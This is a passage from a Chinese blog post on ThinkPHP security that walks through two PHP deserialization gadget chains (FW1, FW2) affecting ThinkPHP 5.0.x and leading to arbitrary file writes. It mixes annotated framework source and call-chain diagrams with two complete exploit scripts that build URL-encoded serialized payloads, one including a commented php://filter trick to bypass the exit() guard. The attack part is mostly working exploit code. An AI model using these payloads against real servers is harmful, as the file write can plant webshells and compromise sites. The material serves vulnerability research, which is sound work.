$expire = $expire->getTimestamp() - time();
}

之后会调用父类 DrivergetCacheKey 方法将传入的第一个参数 $name 转换为要写入的文件的名字。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* 取得变量的存储文件名
* @access protected
* @param string $name 缓存变量名
* @param bool $auto 是否自动创建目录
* @return string
*/
protected function getCacheKey($name, $auto = false)
{
$name = md5($name); // 对 $name 算一次 md5

// ❌ $this->options['cache_subdir'] = '' 不进入判断
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}

// ❌ $this->options['prefix'] = '' 不进入判断
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}

// $this->options['path'] 是我们设置的路径,会拼接上 md5($name) 和 '.php'
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);

// 如果 $auto = true 会创建文件夹
if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename; // 返回转换后的文件路径
}

之后如果 $this->tagtrue 且文件不存在说明是第一次写入。如果是第一次写入,则在完成文件写入之后还会调用 think\cache\Driver->setTagItem 函数再次写入文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// $this->tag = true 且文件不存在则表示第一次创建,$first = true
if ($this->tag && !is_file($filename)) {
$first = true;
}

// 中间对写入的数据 $data 做一些转换
// [....]

// 向 $filename 文件写入数据 $data
$result = file_put_contents($filename, $data);

// 如果成功写入数据
if ($result) {
// 如果是第一次写入则会调用 think\cache\Driver 的 setTagItem 方法更新标签
// 这个方法会调用 $this->set 函数再次进行文件写入
// 且此时第二个参数可以设置为这里传入的 $filename
// 言外之意就是我们可以通过这里的 $filename 控制写入内容
// 然而这里的 $filename 是要写入内容的 md5 拼接出来的,不可控
// 因此不会使用这里的调用点构造反序列化链,也就是 $this->tag = false
isset($first) && $this->setTagItem($filename);
clearstatcache(); // 更新文件缓存
return true;
}

如果我们设置 $this->tag = truesetTagItem 会调用 $this->set$name 写入文件。然而这里传入的 $name 是经过 getCacheKey 函数做过哈希运算的内容,实际上是不可控的。因此我们不能通过这条链完成文件写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* 更新标签
* @access public
* @param string $name 缓存标识
* @return void
*/
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null; // 为了防止无限递归,这里会将 $this->tag 设置为 null
if ($this->has($key)) {
// 如果存在 $key 对应的文件
// 那么先将文件中的内容读出,并以 ',' 为分隔转换为数组
$value = explode(',', $this->get($key));
// 在数组末尾插入 $name
$value[] = $name;
// 数组去重后以 ',' 为分隔转换成字符串作为要写入文件的内容
$value = implode(',', array_unique($value));
} else {
// 如果不存在 $key 对应的文件
// 则直接设置 $name 为要写入文件的内容
$value = $name;
}
// 调用 $this->set 将 $value 写入文件
$this->set($key, $value, 0);
}
}

然后 File->set 在文件写入这块主要是将写入内容 $value 做了如下转换:

  1. 将写入数据进行序列化。
  2. 如果 $this->options['data_compress'] = true 还会将写入数据进行 gzip 压缩,不过这里我们为了控制文件内容通常设置 $this->options['data_compress'] = false
  3. 在写入数据前拼接一段 PHP 代码:"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 将要写入的值 $value 序列化一下
$data = serialize($value);

// 如果 $this->options['data_compress'] = true 则会将数据压缩
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

// 将要写入的数据和一段 PHP 代码拼接
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

// 向 $filename 文件写入数据 $data
$result = file_put_contents($filename, $data);

然而前面分析过,$data 传入的是值是 true,然后 $expire 传入的值是 0,因此写入文件的内容如下:

1
2
3
4
<?php
//000000000000
exit();?>
b:1;

显然这里文件写入的内容也是不可控的。

不过观察发现,think\cache\driver\File->set 的上一层 think\cache\driver\Memcached->set 在逻辑上和它很像。都有一个第一次写入的 $first 判断。不过这里判断文件是否存在用的不是 is_file 函数,而是 $this->has,这是因为这里参数 $name 还没有通过 $this->handler->getCacheKey 转换为写入文件的名称。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 如果没有 $name 对应的缓存文件则 $this->has($name) 返回 false
// ✅ 因此进入判断设置 $first = true
if ($this->tag && !$this->has($name)) {
$first = true;
}

// 因为 $this->options['prefix'] = '' 所以 getCacheKey 直接返回 $name
// 因此这里等价于 $key = $name
$key = $this->getCacheKey($name);

// 0 == $expire 满足条件因此 $expire = 0
$expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;

// 📌 首先调用 $this->handler->set 第一次写入文件,此处文件内容不可控。
// $key = '<where>file_content</where>' 经过转换变为文件名
// $value = true 经过序列化和拼接等操作变成文件内容
if ($this->handler->set($key, $value, $expire)) {
// 由于前面设置 $first = true
// 因此调用 $this->setTagItem → $this->set 再次调用到这个函数
// 由于此时经过参数转换后文件内容作为第二个参数传入
// 📌 因此 $this->handler->set 完成第二次写入时文件内容可控
isset($first) && $this->setTagItem($key);
return true;
}

其中 $this->has 主要通过 $this->handler->get 判断文件是否存在。前面会先调用 $this->getCacheKey 作一下转换,不过只是在名称前面拼接一段 $this->options['prefix'],没什么影响。

1
2
3
4
5
6
7
8
9
10
11
/**
* 判断缓存
* @access public
* @param string $name 缓存变量名
* @return bool
*/
public function has($name)
{
$key = $this->getCacheKey($name);
return $this->handler->get($key) ? true : false;
}

File->get 函数则会读取 $name 经过 File->getCacheKey 转换后得到的文件名对应文件的内容。如果文件还没有创建的话返回空导致 Memcached->has 返回 false

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* 读取缓存
* @access public
* @param string $name 缓存变量名
* @param mixed $default 默认值
* @return mixed
*/
public function get($name, $default = false)
{
$filename = $this->getCacheKey($name);
if (!is_file($filename)) {
return $default;
}
$content = file_get_contents($filename);
$this->expire = null;
if (false !== $content) {
$expire = (int) substr($content, 8, 12);
if (0 != $expire && time() > filemtime($filename) + $expire) {
return $default;
}
$this->expire = $expire;
$content = substr($content, 32);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//启用数据压缩
$content = gzuncompress($content);
}
$content = unserialize($content);
return $content;
} else {
return $default;
}
}

另外前面分析过,$this->handler->set 会返回 true,因此可以走到 $this->setTagItem 逻辑。

1
2
3
4
5
6
7
8
if ($this->handler->set($key, $value, $expire)) {
// 由于前面设置 $first = true
// 因此调用 $this->setTagItem → $this->set 再次调用到这个函数
// 由于此时经过参数转换后文件内容作为第二个参数传入
// 📌 因此 $this->handler->set 完成第二次写入时文件内容可控
isset($first) && $this->setTagItem($key);
return true;
}

think\cache\driver\Memcachedthink\cache\driver\File 都继承于 think\cache\Driver,因此调用的都是 Driver 类的 setTagItem 函数。前面分析过,setTagItem 函数会将传入的参数写入文件,而这里传入的参数 $key 就是前面可控的 $name。因此我们可以通过这条链实现文件写入。

注意这里写入的文件的文件名中拼接的 MD5 是 'md5(tag_'.md5(File->tag)),因此多次写入如果路径相同则都是写在同一个文件里面。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<?php

namespace think {

use think\model\relation\HasMany;

class Process
{
private $processPipes;
private $processInformation = ['running' => true];

public function __construct($path, $data)
{
$this->processPipes = new HasMany($path, $data);
}
}

class Model
{
}
}


namespace think\model {

class Relation
{
protected $query;
}
}


namespace think\model\relation {

use stdClass;
use think\console\Output;
use think\model\Relation;

class HasMany extends Relation
{
protected $parent;
protected $localKey = 'k';
protected $foreignKey;

public function __construct($path, $data)
{
$this->foreignKey = $data;
$this->query = new Output($path, $data);
$this->parent = new stdClass();
$this->parent->{$this->localKey} = 0;
}
}
}


namespace think\db {
class Query
{
}
}


namespace think\console {
class Output
{
protected $styles = [
'where'
];
private $handle;

public function __construct($path, $data)
{
$this->handle = new \think\session\driver\Memcache($path, $data);
}
}
}


namespace think\session\driver {
class Memcache
{
protected $handler;

public function __construct($path, $data)
{
$this->handler = new \think\cache\driver\Memcached($path, $data);
}
}
}


namespace think\cache\driver {
class Memcached
{
protected $tag;
protected $options;
protected $handler;

public function __construct($path)
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => '',
];
$this->handler = new File($path);
}
}

class File
{
protected $tag;
protected $options;

public function __construct($path)
{
$this->tag = false;
$this->options = [
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => $path,
// 'path' => 'php://filter/convert.base64-decode/resource=' . $path,
];
}
}
}

namespace {
$path = "file_path/file_name";
$data = "file_content";

$payload = new \think\Process($path, $data);
echo urlencode(serialize($payload));
}

FW2(影响 5.0.0 - 5.0.3)

基本信息

  • 影响范围 :5.0.0 - 5.0.3

  • 生成命令

    1
      
  • 反序列化对象

    TPFW2

  • 反序列化调用链

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    think\Process->__destruct()
    └── stop()
    ├── if ($this->isRunning()) == false // $status 为默认值 "ready"
    ├── $this->updateStatus(false) // 同样 $status != "started" → return
    └── if ($this->processInformation['running']) == true
    └── close()
    └── $this->processPipes->close()
    // $processPipes 为 think\model\Relation,无 close 方法,触发 __call

    think\model\Relation->__call("close", [])
    └── if ($this->query && $this->type === self::HAS_MANY)
    └── if (isset($this->where)) == true // ✅ 设置 $where = "file_content"
    └── $this->query->where($this->where)
    // $query = think\console\Output,没有 where 方法,触发 __call

    think\console\Output->__call("where", ['file_content'])
    └── if (in_array($method, $this->styles)) == true // ✅ $styles = ['where']
    ├── array_unshift($args, $method) // ['file_content'] → ['where', 'file_content']
    └── call_user_func_array([$this, 'block'], ['where', 'file_content'])
    └── block('where', 'file_content')
    └── writeln('<where>file_content</where>')
    └── write('<where>file_content</where>')
    └── $this->handle->write('<where>file_content</where>')
    // $handle = think\session\driver\Memcache → write

    think\session\driver\Memcache::write('<where>file_content</where>', true)
    └── $this->handler->set('<where>file_content</where>', true, 0, 3600)
    // $handler = think\cache\driver\Memcached → set()

    think\cache\driver\Memcached::set($name, $value, $expire)
    └── if ($this->tag && !$this->has($name)) == true // ✅ 第一次写入,设置 $first = true
    └── $key = $this->getCacheKey($name)
    └── $expire = 0 == $expire ? 0 : time() + $expire
    └── $this->handler->set($key, $value, $expire) // File::set 第一次写入(value 不可控)
    ├── 生成缓存文件路径 $filename
    ├── $data = "<?php\n//000000000000\n exit();?>\n" . serialize(true)
    └── file_put_contents($filename, $data)
    └── isset($first) && $this->setTagItem($key) // 第二次调用 set(value 可控)

    think\cache\driver\Memcached::setTagItem($key)
    └── $value = $key // ✅ $key = '<where>file_content</where>' 可控
    └── $this->set("tag_" . md5($this->tag), $value, 0)
    └── think\cache\driver\File::set(name = "tag_xxx", value = "<where>file_content</where>")
    ├── $data = "<?php\n//000000000000\n exit();?>\n" . serialize("<where>file_content</where>")
    └── file_put_contents($filename, $data) // ✅ 内容可控 → 文件写入原始数据

调用链分析

FW2 与 FW1 的整体过程基本上是一致的,唯一的不同点是 FW2 将 FW1 的 think\model\relation\HasMany 替换为了 think\model\Relation

这是因为在 5.0.3 中 Relation 类的 __call 方法可以直接调用到 $this->query->where

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const HAS_MANY         = 2;

public function __call($method, $args)
{
if ($this->query) {
switch ($this->type) {
case self::HAS_MANY:
if (isset($this->where)) {
$this->query->where($this->where); // 👈 使用这个更方便一些
} elseif (isset($this->parent->{$this->localKey})) {
// 对应 5.0.4+ 的 HasMany 的 baseQuery
$this->query->where($this->foreignKey, $this->parent->{$this->localKey});
}
break;
// [...]

而 5.0.4+ 的 Relation 类是一个抽象类,它的 __call 方法会调用 $this->baseQuery 函数。

1
2
3
4
5
6
public function __call($method, $args)
{
if ($this->query) {
// 执行基础查询
$this->baseQuery();
// [...]

$this->baseQuery 函数来自于 Relation 具体的实现类。而 FW1 采用的是 HasMany,因此会调用 $this->baseQuery->where

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* 执行基础查询(进执行一次)
* @access protected
* @return void
*/
protected function baseQuery()
{
if (empty($this->baseQuery)) {
if (isset($this->parent->{$this->localKey})) {
// 关联查询带入关联条件
$this->query->where($this->foreignKey, $this->parent->{$this->localKey});
}
$this->baseQuery = true;
}
}

另外一点不同的是 think\cache\driver\File->set 写入文件部分。在 5.0.3 中,我们的可控数据 $data 是拼接在 PHP 脚本内部的。

1
2
$data   = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
$result = file_put_contents($filename, $data);

两次文件写入内容如下:

1
2
3
4
5
6
7
<?php
//000000000000b:1;
?>

<?php
//000000000000s:27:"<where>file_content</where>";
?>

而在 5.0.4+ 的 think\cache\driver\File->set 写入文件部分,可控数据 $data 是拼接在 PHP 脚本后面的。

1
2
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

两次文件写入内容如下:

1
2
3
4
5
6
7
8
9
<?php
//000000000000
exit();?>
b:1;

<?php
//000000000000
exit();?>
s:27:"<where>file_content</where>";

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
<?php

namespace think {

use think\model\relation\HasMany;

class Process
{
private $processPipes;
private $processInformation = ['running' => true];

public function __construct($path, $data)
{
$this->processPipes = new HasMany($path, $data);
}
}

class Model
{
}
}


namespace think\model {

class Relation
{
protected $query;
}
}


namespace think\model\relation {

use stdClass;
use think\console\Output;
use think\model\Relation;

class HasMany extends Relation
{
protected $parent;
protected $localKey = 'k';
protected $foreignKey;

public function __construct($path, $data)
{
$this->foreignKey = $data;
$this->query = new Output($path, $data);
$this->parent = new stdClass();
$this->parent->{$this->localKey} = 0;
}
}
}


namespace think\db {
class Query
{
}
}


namespace think\console {
class Output
{
protected $styles = [
'where'
];
private $handle;

public function __construct($path, $data)
{
$this->handle = new \think\session\driver\Memcache($path, $data);
}
}
}


namespace think\session\driver {
class Memcache
{
protected $handler;

public function __construct($path, $data)
{
$this->handler = new \think\cache\driver\Memcached($path, $data);
}
}
}


namespace think\cache\driver {
class Memcached
{
protected $tag;
protected $options;
protected $handler;

public function __construct($path)
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => '',
];
$this->handler = new File($path);
}
}

class File
{
protected $tag;
protected $options;

public function __construct($path)
{
$this->tag = false;
$this->options = [
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => $path,
// 'path' => 'php://filter/convert.base64-decode/resource=' . $path,
];
}
}
}

namespace {
$path = "file_path/file_name";
$data = "file_content";

$payload = new \think\Process($path, $data);
dump_object_graph($payload,"TPFW2.svg");
echo urlencode(serialize($payload));
}
  • Title: ThinkPHP 框架安全
  • Author: sky123
  • Created at : 2025-07-28 23:10:49
  • Updated at : 2025-08-01 23:32:43
  • Link: https://skyi23.github.io/2025/07/28/ThinkPHP 框架安全/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments